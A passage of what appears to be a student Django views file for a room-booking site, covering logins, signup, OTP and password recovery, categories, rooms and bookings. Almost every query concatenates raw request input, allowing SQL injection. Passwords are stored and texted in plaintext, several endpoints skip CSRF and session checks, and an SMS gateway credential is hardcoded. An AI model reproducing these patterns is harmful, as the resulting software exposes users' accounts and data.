print(request.POST[\"email\"])\r\n # print(request.POST[\"mobile\"])\r\n if \"adminemail\" in request.session:\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"update admin set type='\" + request.POST[\"type\"] + \"',mobile='\" + request.POST[\r\n \"mobile\"] + \"' where email='\"+request.POST[\"email\"]+\"'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\n\r\ndef removeadmin(request):\r\n conn=Connection(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"delete from admin where email='\"+request.GET[\"q\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"viewadmin\")\r\n\r\n@csrf_exempt\r\ndef adminlogin(request):\r\n return render(request,\"adminlogin.html\")\r\n\r\n@csrf_exempt\r\ndef checkadminlogin(request):\r\n # print(request.POST['email'],request.POST['password'])\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from admin where email='\"+request.POST[\"email\"]+\"'and password='\"+request.POST[\"password\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n if result:\r\n request.session['adminemail'] = request.POST[\"email\"]\r\n # return render(request, \"admindashboard.html\")\r\n return HttpResponse(\"success\")\r\n else:\r\n # d = {\"message\": \"Invalid email/password\"}\r\n # return render(request,\"adminlogin.html\" ,{\"ar\": d})\r\n return HttpResponse(\"fail\")\r\n\r\ndef admindashboard(request):\r\n if \"adminemail\" in request.session:\r\n return render(request,\"admindashboard.html\")\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\ndef logout(request):\r\n try:\r\n del request.session['adminemail']\r\n except:\r\n pass\r\n return HttpResponseRedirect('adminlogin')\r\n\r\n# @csrf_exempt\r\n# def changepassword(request):\r\n# if \"adminemail\" in request.session:\r\n# return render(request,\"changepassword.html\")\r\n# else:\r\n# return render(request,\"adminlogin.html\")\r\n\r\n@csrf_exempt\r\ndef adminchangepassword(request):\r\n if \"adminemail\" in request.session:\r\n oldpassword=request.POST[\"oldpassword\"]\r\n newpassword=request.POST[\"newpassword\"]\r\n confimpassword=request.POST[\"confirmpassword\"]\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n q=\"select * from admin where email='\"+request.session[\"adminemail\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result=cr.fetchone()\r\n if result[1]==oldpassword:\r\n s=\"update admin set password='\"+newpassword+\"' where email='\"+request.session[\"adminemail\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n # d={\"message\":\"Password changed Successfully\"}\r\n return HttpResponse(\"success\")\r\n else:\r\n # d={\"message\":\"Old Password Incorrect\"}\r\n return HttpResponse(\"failed due to wrong old password\")\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\n\r\n\r\n@csrf_exempt\r\ndef usersignup(request):\r\n return render(request,\"usersignup.html\")\r\n\r\n\r\ndef openusersignup2(request):\r\n mobile=request.GET['mobile']\r\n return render (request,'usersignup2.html',{\"mobile\":mobile})\r\n\r\n@csrf_exempt\r\ndef usersignup2(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"select * from user where email='\"+request.POST[\"email\"]+\"' and mobile=\"+request.POST[\"mobile\"]+\"\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n if result:\r\n return HttpResponse(\"fail\")\r\n else:\r\n file = request.FILES[\"photo\"]\r\n uploadname = \"userphotos/\" + str(random.randint(1, 100000)) + file.name\r\n\r\n s=\"insert into user values('\"+request.POST[\"mobile\"]+\"','\"+request.POST[\"email\"]+\"','\"+request.POST[\"password\"]+\"','\"+request.POST[\"name\"]+\"','\"+request.POST[\"address\"]+\"','\"+uploadname+\"')\"\r\n fs = FileSystemStorage()\r\n fs.save(uploadname, file)\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n # d={\"message\":\"User Added Successfully\"}\r\n return HttpResponse(\"success\")\r\n\r\ndef sendotp(request):\r\n mobile=request.GET['mobile']\r\n print('test',mobile)\r\n n=random_with_N_digits(6)\r\n request.session['userotp']=str(n)\r\n msg=\"your otp is \"+str(n)\r\n msg=msg.replace(\" \",\"%20\")\r\n conn=http.client.HTTPConnection(\"server1.vmm.education\")\r\n conn.request('GET','/VMMCloudMessaging/AWS_SMS_Sender?username=ayushidhir&password=6TLLQSSZ&message='+msg+'&phone_numbers='+str(mobile))\r\n response=conn.getresponse()\r\n print(response)\r\n return HttpResponse(\"success\")\r\n\r\ndef verifyotp(request):\r\n actualotp=request.session['userotp']\r\n otp=request.GET['otp']\r\n if actualotp==otp:\r\n return HttpResponse(\"success\")\r\n else:\r\n return HttpResponse(\"fail\")\r\n\r\n\r\n@csrf_exempt\r\ndef userlogin(request):\r\n return render(request,\"userlogin.html\")\r\n\r\n@csrf_exempt\r\ndef userlogin1(request):\r\n # print(request.POST['email'],request.POST['password'])\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from user where email='\" + request.POST[\"email\"] + \"'and password='\" + request.POST[\"password\"] + \"'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n # print(list(result))\r\n if result:\r\n # d = {\"name\": result[3]}\r\n request.session['useremail'] = request.POST[\"email\"]\r\n # return render(request, \"userdashboard.html\",{\"ar\":d})\r\n return HttpResponse(\"success\")\r\n\r\n else:\r\n # d = {\"message\": \"Invalid email/password\"}\r\n # return render(request, \"userlogin.html\",{\"ar\": d})\r\n return HttpResponse(\"fail\")\r\n\r\n\r\ndef userdashboard(request):\r\n return render(request,'userdashboard.html')\r\n\r\n@csrf_exempt\r\ndef forgot(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from user where email='\"+request.POST[\"email\"]+\"' and mobile=\"+request.POST[\"mobile\"]+\"\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n if result:\r\n password = result[2]\r\n conn = http.client.HTTPConnection(\"server1.vmm.education\")\r\n conn.request('GET',\r\n '/VMMCloudMessaging/AWS_SMS_Sender?username=ayushidhir&password=6TLLQSSZ&message=' + password + '&phone_numbers='\r\n + str(request.POST[\"mobile\"]))\r\n response = conn.getresponse()\r\n print(response.read())\r\n return HttpResponseRedirect(\"userlogin\")\r\n else:\r\n d={\"message\":\"Invalid Mobile Number\"}\r\n return render(request,\"userlogin.html\",{\"ar\":d})\r\n\r\n\r\n@csrf_exempt\r\ndef forgotadmin(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from admin where mobile=\"+request.POST[\"mobile\"]+\"\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n if result:\r\n password = result[2]\r\n conn = http.client.HTTPConnection(\"server1.vmm.education\")\r\n conn.request('GET',\r\n '/VMMCloudMessaging/AWS_SMS_Sender?username=ayushidhir&password=6TLLQSSZ&message=' + password + '&phone_numbers='\r\n + str(request.POST[\"mobile\"]))\r\n response = conn.getresponse()\r\n print(response.read())\r\n # return HttpResponseRedirect(\"adminlogin\")\r\n return HttpResponse(\"success\")\r\n else:\r\n # d={\"message\":\"Invalid Mobile Number\"}\r\n # return render(request,\"adminlogin.html\",{\"ar\":d})\r\n return HttpResponse(\"fail\")\r\n\r\n@csrf_exempt\r\ndef addcategory(request):\r\n if \"adminemail\" in request.session:\r\n return render(request,\"addcategory.html\")\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\n@csrf_exempt\r\ndef insercategory(request):\r\n # file = request.FILES[\"photo\"]\r\n # uploadname = \"categoryphotos/\" + str(random.randint(1, 10000)) + file.name\r\n conn=Connection(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n q=\"select * from category where cname='\"+request.POST[\"cname\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result=cr.fetchone()\r\n if result:\r\n d={\"message\":\"Category already exists\"}\r\n return render(request,\"addcategory.html\",{\"ar\":d})\r\n else:\r\n file = request.FILES[\"photo\"]\r\n uploadname = \"categoryphotos/\" + str(random.randint(1, 10000)) + file.name\r\n s=\"insert into category values('\"+ request.POST[\"cname\"]+\"','\"+request.POST[\"description\"]+\"','\"+uploadname+\"')\"\r\n fs = FileSystemStorage()\r\n fs.save(uploadname, file)\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n d={\"message\":\"category added successfully\"}\r\n return render(request,\"addcategory.html\",{\"ar\":d})\r\n\r\ndef showcategory(request):\r\n if \"adminemail\" in request.session:\r\n conn=Connection(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from category\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchall()\r\n x=[]\r\n for row in result:\r\n d={}\r\n d[\"cname\"]=row[0]\r\n d[\"description\"]=row[1]\r\n d[\"photo\"]=row[2]\r\n x.append(d)\r\n return render(request,\"showcategory.html\",{\"ar\":x})\r\n else:\r\n return HttpResponseRedirect(\"adminlogin\")\r\n\r\ndef removecategory(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"delete from category where cname='\"+request.GET[\"q\"]+\"'\"\r\n print(s)\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"showcategory\")\r\n\r\n@csrf_exempt\r\ndef editcategory(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from category where cname='\"+request.GET[\"q\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n #return HttpResponse(result)\r\n d={\"cname\":result[0],\"description\":result[1],\"photo\":result[2]}\r\n return render(request,\"editcategory.html\",{\"ar\":d})\r\n\r\n@csrf_exempt\r\ndef savecategory(request):\r\n file=request.FILES[\"photo\"]\r\n uploadname=\"categoryphotos/\"+str(random.randint(1,1000))+file.name\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"update category set description='\"+request.POST[\"description\"]+\"',photo='\"+uploadname+\"'where cname='\"+request.POST[\"cname\"]+\"'\"\r\n fs=FileSystemStorage()\r\n fs.save(uploadname,file)\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"showcategory\")\r\n\r\n\r\n@csrf_exempt\r\ndef hostsignup(request):\r\n return render(request,\"host_signup.html\")\r\n\r\n@csrf_exempt\r\ndef inserthost(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from host where email='\"+request.POST[\"email\"]+\"' and mobile=\"+request.POST[\"mobile\"]+\"\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n if result:\r\n return HttpResponse(\"fail\")\r\n else:\r\n file = request.FILES[\"photo\"]\r\n uploadname = \"hostphotos/\" + str(random.randint(1, 1000)) + file.name\r\n q=\"insert into host values(NULL,'\"+request.POST[\"name\"]+\"','\"+request.POST[\"email\"]+\"','\"+request.POST[\"password\"]+\"','\"+request.POST[\"city\"]+\"',\"+request.POST[\"mobile\"]+\",'\"+uploadname+\"','\"+request.POST[\"description\"]+\"','\"+request.POST[\"location\"]+\"','pending')\"\r\n fs=FileSystemStorage()\r\n fs.save(uploadname,file)\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n\r\n\r\n\r\ndef index(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select city from host\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n x= []\r\n id=[]\r\n for row in result:\r\n d={}\r\n if not x:\r\n id.append((row[0]))\r\n d['city']=row[0]\r\n x.append(d)\r\n elif row[0] in id:\r\n pass\r\n else:\r\n id.append(row[0])\r\n d['city']=row[0]\r\n x.append(d)\r\n print(x)\r\n\r\n s = \"select cname from category\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n\r\n catname = []\r\n for row in result:\r\n d = {\"category\": row[0]}\r\n catname.append(d)\r\n return render(request,\"index.html\",{'city':x,'catname':catname})\r\n\r\ndef login(request):\r\n return render(request,\"login.html\")\r\n\r\ndef register(request):\r\n return render(request,\"register.html\")\r\n\r\ndef contact(request):\r\n return render(request,'contactus.html')\r\n\r\ndef userlogout(request):\r\n try:\r\n del request.session['useremail']\r\n except:\r\n pass\r\n return HttpResponseRedirect('/')\r\n\r\ndef hostlogout(request):\r\n try:\r\n del request.session['hostemail']\r\n except:\r\n pass\r\n return HttpResponseRedirect('/')\r\n\r\n\r\n@csrf_exempt\r\ndef hostlogin(request):\r\n return render(request,\"hostlogin.html\")\r\n\r\n@csrf_exempt\r\ndef hostlogin1(request):\r\n # print(request.POST['email'],request.POST['password'])\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from host where email='\" + request.POST[\"email\"] + \"'and password='\" + request.POST[\"password\"] + \"' and status='active'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n # print(list(result))\r\n if result:\r\n # d = {\"name\": result[3]}\r\n request.session['hostemail'] = request.POST[\"email\"]\r\n request.session['hostid']=result[0]\r\n # return render(request, \"userdashboard.html\",{\"ar\":d})\r\n return HttpResponse(\"success\")\r\n\r\n else:\r\n # d = {\"message\": \"Invalid email/password\"}\r\n # return render(request, \"userlogin.html\",{\"ar\": d})\r\n return HttpResponse(\"fail\")\r\n\r\n@csrf_exempt\r\ndef addrooms(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select cname from category\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n x = []\r\n for row in result:\r\n d = {\"cname\": row[0]}\r\n x.append(d)\r\n return render(request,\"addrooms.html\",{\"ar\":x})\r\n\r\n@csrf_exempt\r\ndef addrooms1(request):\r\n conn = Connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n q=\"select * from host where email ='\"+request.session['hostemail']+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result=cr.fetchone()\r\n print(result[0])\r\n hid = result[0]\r\n file = request.FILES[\"coverphoto\"]\r\n uploadname = \"spacephotos/\" + str(random.randint(1, 10000)) + file.name\r\n s = \"insert into rooms values(NULL,'\"+request.POST[\"roomname\"]+\"','\"+request.POST[\"area\"]+\"','\"+request.POST[\"description\"]+\"','\"+uploadname+\"',\"+str(hid)+\",'\"+request.POST[\"tariffsingle\"]+\"','\"+request.POST[\"tariffdouble\"]+\"','\"+request.POST[\"extraperson\"]+\"','\"+request.POST[\"rating\"]+\"','\"+request.POST[\"count\"]+\"','\"+request.POST[\"category\"]+\"')\"\r\n fs = FileSystemStorage()\r\n fs.save(uploadname, file)\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n\r\n\r\ndef viewrooms(request):\r\n conn = Connection(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from rooms where hid=\"+str(request.session['hostid'])+\"\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n x = []\r\n for row in result:\r\n d = {\"roomid\":row[0],\"roomname\":row[1],\"area\":row[2],\"description\":row[3],\"coverphoto\":row[4],\"hid\":row[5],\"tariffsingle\":row[6],\"tariffdouble\":row[7],\"extraperson\":row[8],\"rating\":row[9],\"count\":row[10],\"category\":row[11]}\r\n x.append(d)\r\n return render(request, \"viewrooms.html\", {\"ar\": x})\r\n\r\ndef removerooms(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"delete from rooms where roomid=\"+request.GET[\"q\"]+\"\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"viewrooms\")\r\n\r\ndef editrooms(request):\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n print(request.GET[\"q\"])\r\n s=\"select * from rooms where roomid='\"+request.GET[\"q\"]+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchone()\r\n d={\"roomid\":result[0],\"roomname\":result[1],\"area\":result[2],\"description\":result[3],\"coverphoto\":result[4],\"tariffsingle\":result[6],\"tariffdouble\":result[7],\"extraperson\":result[8]}\r\n return JsonResponse(d,safe=False)\r\n\r\n@csrf_exempt\r\ndef saverooms(request):\r\n file = request.FILES[\"coverphoto\"]\r\n uploadname = \"spacephotos/\" + str(random.randint(1, 10000)) + file.name\r\n conn = connect(\"127.0.0.1\", \"root\", \"system\", \"sparespace\")\r\n s = \"update rooms set roomname='\" + request.POST[\"roomname\"] + \"',area='\" + request.POST[\r\n \"area\"] + \"',description='\"+request.POST[\"description\"]+\"',coverphoto='\"+uploadname+\"',tariffsingle='\"+request.POST[\"tariffsingle\"]+\"',tariffdouble='\"+request.POST[\"tariffdouble\"]+\"',extraperson='\"+request.POST[\"extraperson\"]+\"' where roomid='\" + request.POST[\"roomid\"] + \"'\"\r\n fs = FileSystemStorage()\r\n fs.save(uploadname, file)\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n\r\ndef insertphotos(request):\r\n roomid=request.GET['q']\r\n # description=request.GET['q1']\r\n conn=connect(\"127.0.0.1\",\"root\",\"\",\"sparespace\")\r\n s=\"select * from photos where roomid='\"+roomid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchall()\r\n x=[]\r\n for row in result:\r\n d={\"pid\":row[0],\"photo\":row[1],\"description\":row[2]}\r\n x.append(d)\r\n return render(request,\"addroomphotos.html\",{\"ar\":roomid,\"ar1\":x})\r\n\r\n@csrf_exempt\r\ndef addroomphotos(request):\r\n file = request.FILES[\"photo\"]\r\n uploadname = \"addspacephotos/\" + str(random.randint(1, 10000)) + file.name\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"insert into photos values(NULL,'\"+uploadname+\"','\"+request.POST['description']+\"',\"+request.POST['roomid']+\")\"\r\n fs=FileSystemStorage()\r\n fs.save(uploadname,file)\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n\r\ndef deleteroomphoto(request):\r\n pid=request.GET['id']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"delete from photos where pid='\"+pid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"viewrooms\")\r\n\r\ndef viewroomdetails(request):\r\n roomid=request.GET[\"q\"]\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n q=\"select * from photos where roomid='\"+roomid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(q)\r\n result=cr.fetchall()\r\n x=[]\r\n for row in result:\r\n d1={\"photo\":row[1]}\r\n x.append(d1)\r\n s=\"select * from rooms where roomid='\"+roomid+\"'\"\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n row=cr.fetchone()\r\n\r\n d = {\"roomid\": row[0], \"roomname\": row[1], \"area\": row[2], \"description\": row[3], \"coverphoto\": row[4],\r\n \"hid\": row[5], \"tariffsingle\": row[6], \"tariffdouble\": row[7], \"extraperson\": row[8], \"rating\": row[9],\r\n \"count\": row[10], \"category\": row[11]}\r\n return render(request,\"roomdetails.html\",{\"ar\":d,\"ar1\":x})\r\n\r\n\r\n\r\n# def findproperty(request):\r\n# conn=connect(\"127.0.0.1\",\"root\",\"system\",\"sparespace\")\r\n# s=\"select cname from category\"\r\n# cr=conn.cursor()\r\n# cr.execute(s)\r\n# result=cr.fetchall()\r\n#\r\n# x = []\r\n# for row in result:\r\n# d={\"category\":row[0]}\r\n# x.append(d)\r\n# return render(request, \"findpropertyresult.html\", {\"ar\":x})\r\n\r\n@csrf_exempt\r\ndef findpropertyresult(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n city=request.POST[\"city\"]\r\n category=request.POST[\"category\"]\r\n # s=\"select * from host inner join rooms on host.hid=rooms.hid\"\r\n s=f\"select * from host inner join rooms on host.hid=rooms.hid where city='{city}' and category='{category}'\"\r\n print(s)\r\n cr=conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchall()\r\n print(result)\r\n x=[]\r\n for row in result:\r\n d={\"hid\":row[0],\"city\":row[4],\"roomid\":row[10],\"coverphoto\":row[14],\"roomname\":row[11],\"area\":row[12],\"hostname\":row[1],\"category\":row[21]}\r\n x.append(d)\r\n print(x)\r\n return render(request, \"findpropertyresult.html\", {\"ar\":x})\r\n\r\ndef viewdetailproperty(request):\r\n hid=request.GET['hid']\r\n roomid=request.GET['roomid']\r\n category=request.GET['category']\r\n city=request.GET['city']\r\n s = f\"select * from host inner join rooms on host.hid=rooms.hid where host.hid='{hid}' and rooms.roomid='{roomid}'\"\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n row = cr.fetchone()\r\n tspd=round(row[16]/30,2)\r\n tdpd=round(row[17]/30,2)\r\n texpd=round(row[18]/30,2)\r\n d={\"hid\":row[0],\"hostname\":row[1],\"email\":row[2],\"city\":row[4],\"mobile\":row[5],\"dp\":row[6],\"descriptionhost\":row[7],\"location\":row[8],\"roomid\":row[10],\"roomname\":row[11],\"area\":row[12],\"description\":row[13],\"coverphoto\":row[14],\"tariffsingle\":row[16],\"tariffdouble\":row[17],\"extraperson\":row[18],\"rating\":row[19],\"count\":row[20],\"category\":row[21],\"tariffsingleperday\":tspd,\r\n \"tariffdoubleperday\":tdpd,\"extraperday\":texpd}\r\n\r\n\r\n query=f'select * from photos where roomid={roomid}'\r\n cr = conn.cursor()\r\n cr.execute(query)\r\n result1 = cr.fetchall()\r\n x1=[]\r\n for row in result1:\r\n d1={\"pid\":row[0],\"photo\":row[1],\"description\":row[2],\"roomid\":row[3]}\r\n x1.append(d1)\r\n\r\n q = \"select * from host inner join rooms on host.hid=rooms.hid where host.city='\"+city+\"'and rooms.category='\"+category+\"'\"\r\n cr = conn.cursor()\r\n cr.execute(q)\r\n result = cr.fetchall()\r\n x2 = []\r\n if result:\r\n for row in result:\r\n d2 = {\"city\":row[4],\"roomid\": row[10], \"roomname\": row[11], \"area\": row[12], \"description\": row[13], \"coverphoto\": row[14],\r\n \"hid\": row[15], \"tariffsingle\": row[16], \"tariffdouble\": row[17], \"extraperson\": row[18],\r\n \"rating\": row[19],\r\n \"count\": row[20], \"category\": row[21]}\r\n\r\n x2.append(d2)\r\n return render(request,'viewdetailproperty.html',{\"alldata\":d,\"photos\":x1,\"related\":x2})\r\n\r\ndef findproperty(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select city from host\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n x= []\r\n id=[]\r\n for row in result:\r\n d={}\r\n if not x:\r\n id.append((row[0]))\r\n d['city']=row[0]\r\n x.append(d)\r\n elif row[0] in id:\r\n pass\r\n else:\r\n id.append(row[0])\r\n d['city']=row[0]\r\n x.append(d)\r\n print(x)\r\n\r\n s = \"select cname from category\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n\r\n catname = []\r\n for row in result:\r\n d = {\"category\": row[0]}\r\n catname.append(d)\r\n print(x,catname)\r\n return render(request,'findproperty.html',{'city':x,'catname':catname})\r\n\r\n\r\n#admin view host\r\ndef viewhost(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"select * from host where status='pending'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n x=[]\r\n for row in result:\r\n d={\"hid\":row[0],\"hostname\":row[1],\"email\":row[2],\"city\":row[4],\"mobile\":row[5],\"photo\":row[6],\"description\":row[7],\"location\":row[8]}\r\n x.append(d)\r\n s = \"select * from host where status='active'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchall()\r\n y = []\r\n for row in result:\r\n d = {\"hid\": row[0], \"hostname\": row[1], \"email\": row[2], \"city\": row[4], \"mobile\": row[5], \"photo\": row[6],\r\n \"description\": row[7], \"location\": row[8]}\r\n y.append(d)\r\n z=[]\r\n z.append(x)\r\n z.append(y)\r\n\r\n return render(request,\"viewhost.html\",{\"ar\":z})\r\n\r\ndef activehost(request):\r\n hid=request.GET['q']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"update host set status='active' where hid=\"+hid+\"\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"viewhost\")\r\n\r\n\r\ndef pendinghost(request):\r\n hid = request.GET['q']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"update host set status='pending' where hid=\" + hid + \"\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponseRedirect(\"viewhost\")\r\n\r\n#admin view space\r\ndef viewspace(request):\r\n hid=request.GET['q']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"select * from rooms where hid=\"+hid+\"\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result=cr.fetchall()\r\n x=[]\r\n for row in result:\r\n d={\"roomid\":row[0],\"roomname\":row[1],\"area\":row[2],\"description\":row[3],\"coverphoto\":row[4],\"hid\":row[5],\"tariffsingle\":row[6],\"tariffdouble\":row[7],\"extraperson\":row[8],\"rating\":row[9],\"count\":row[10],\"category\":row[11]}\r\n x.append(d)\r\n return render(request,\"viewspace.html\",{\"ar\":x})\r\n\r\n#admin view space details\r\ndef viewspacedetails(request):\r\n roomid = request.GET[\"q\"]\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n q = \"select * from photos where roomid='\" + roomid + \"'\"\r\n cr = conn.cursor()\r\n cr.execute(q)\r\n result = cr.fetchall()\r\n x = []\r\n for row in result:\r\n d1 = {\"photo\": row[1]}\r\n x.append(d1)\r\n s = \"select * from rooms where roomid='\" + roomid + \"'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n row = cr.fetchone()\r\n\r\n d = {\"roomid\": row[0], \"roomname\": row[1], \"area\": row[2], \"description\": row[3], \"coverphoto\": row[4],\r\n \"hid\": row[5], \"tariffsingle\": row[6], \"tariffdouble\": row[7], \"extraperson\": row[8], \"rating\": row[9],\r\n \"count\": row[10], \"category\": row[11]}\r\n return render(request, \"spacedetails.html\", {\"ar\": d, \"ar1\": x})\r\n\r\n\r\n#host view profile\r\ndef viewprofile(request):\r\n conn = Connection(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from host where email='\" +request.session['hostemail'] +\"'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n x = []\r\n d = {\"hid\": result[0], \"hostname\": result[1], \"email\": result[2], \"city\": result[4], \"mobile\": result[5], \"photo\": result[6],\r\n \"description\": result[7], \"location\": result[8]}\r\n x.append(d)\r\n return render(request,\"viewprofile.html\",{\"ar\":x})\r\n\r\n#host edit profile\r\ndef editprofile(request):\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from host where hid='\" + request.GET[\"q\"] + \"'\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n d = {\"hid\": result[0], \"hostname\": result[1], \"email\": result[2],\"city\":result[4],\"mobile\":result[5],\"photo\":result[6],\"description\":result[7],\"location\":result[8]}\r\n return JsonResponse(d, safe=False)\r\n\r\n@csrf_exempt\r\ndef savehostprofile(request):\r\n hid=request.POST['hid']\r\n hostname=request.POST['hostname']\r\n email = request.POST['email']\r\n city = request.POST['city']\r\n mobile = request.POST['mobile']\r\n description = request.POST['description']\r\n location = request.POST['location']\r\n file = request.FILES[\"photo\"]\r\n uploadname = \"hostphotos/\" + str(random.randint(1, 10000)) + file.name\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s=\"update host set hostname='\"+hostname+\"',email='\"+email+\"',city='\"+city+\"',mobile=\"+mobile+\",dp='\"+uploadname+\"',description='\"+description+\"',location='\"+location+\"' where hid=\"+hid+\"\"\r\n fs = FileSystemStorage()\r\n fs.save(uploadname, file)\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n conn.commit()\r\n return HttpResponse(\"success\")\r\n\r\n@csrf_exempt\r\ndef checkout(request):\r\n checkin = request.POST['checkin']\r\n roomid = request.POST['roomid']\r\n checkout = request.POST['checkout']\r\n person = request.POST['person']\r\n extraperson = request.POST['extraperson']\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", \"sparespace\")\r\n s = \"select * from booking where roomid='\"+str(roomid)+\"' and (checkin and checkout between '\"+str(checkin)+\"' and '\"+str(checkout)+\"')\"\r\n cr = conn.cursor()\r\n cr.execute(s)\r\n result = cr.fetchone()\r\n if result:\r\n return HttpResponse(\"fail\")\r\n else:\r\n conn = connect(\"127.0.0.1\", \"root\", \"\", 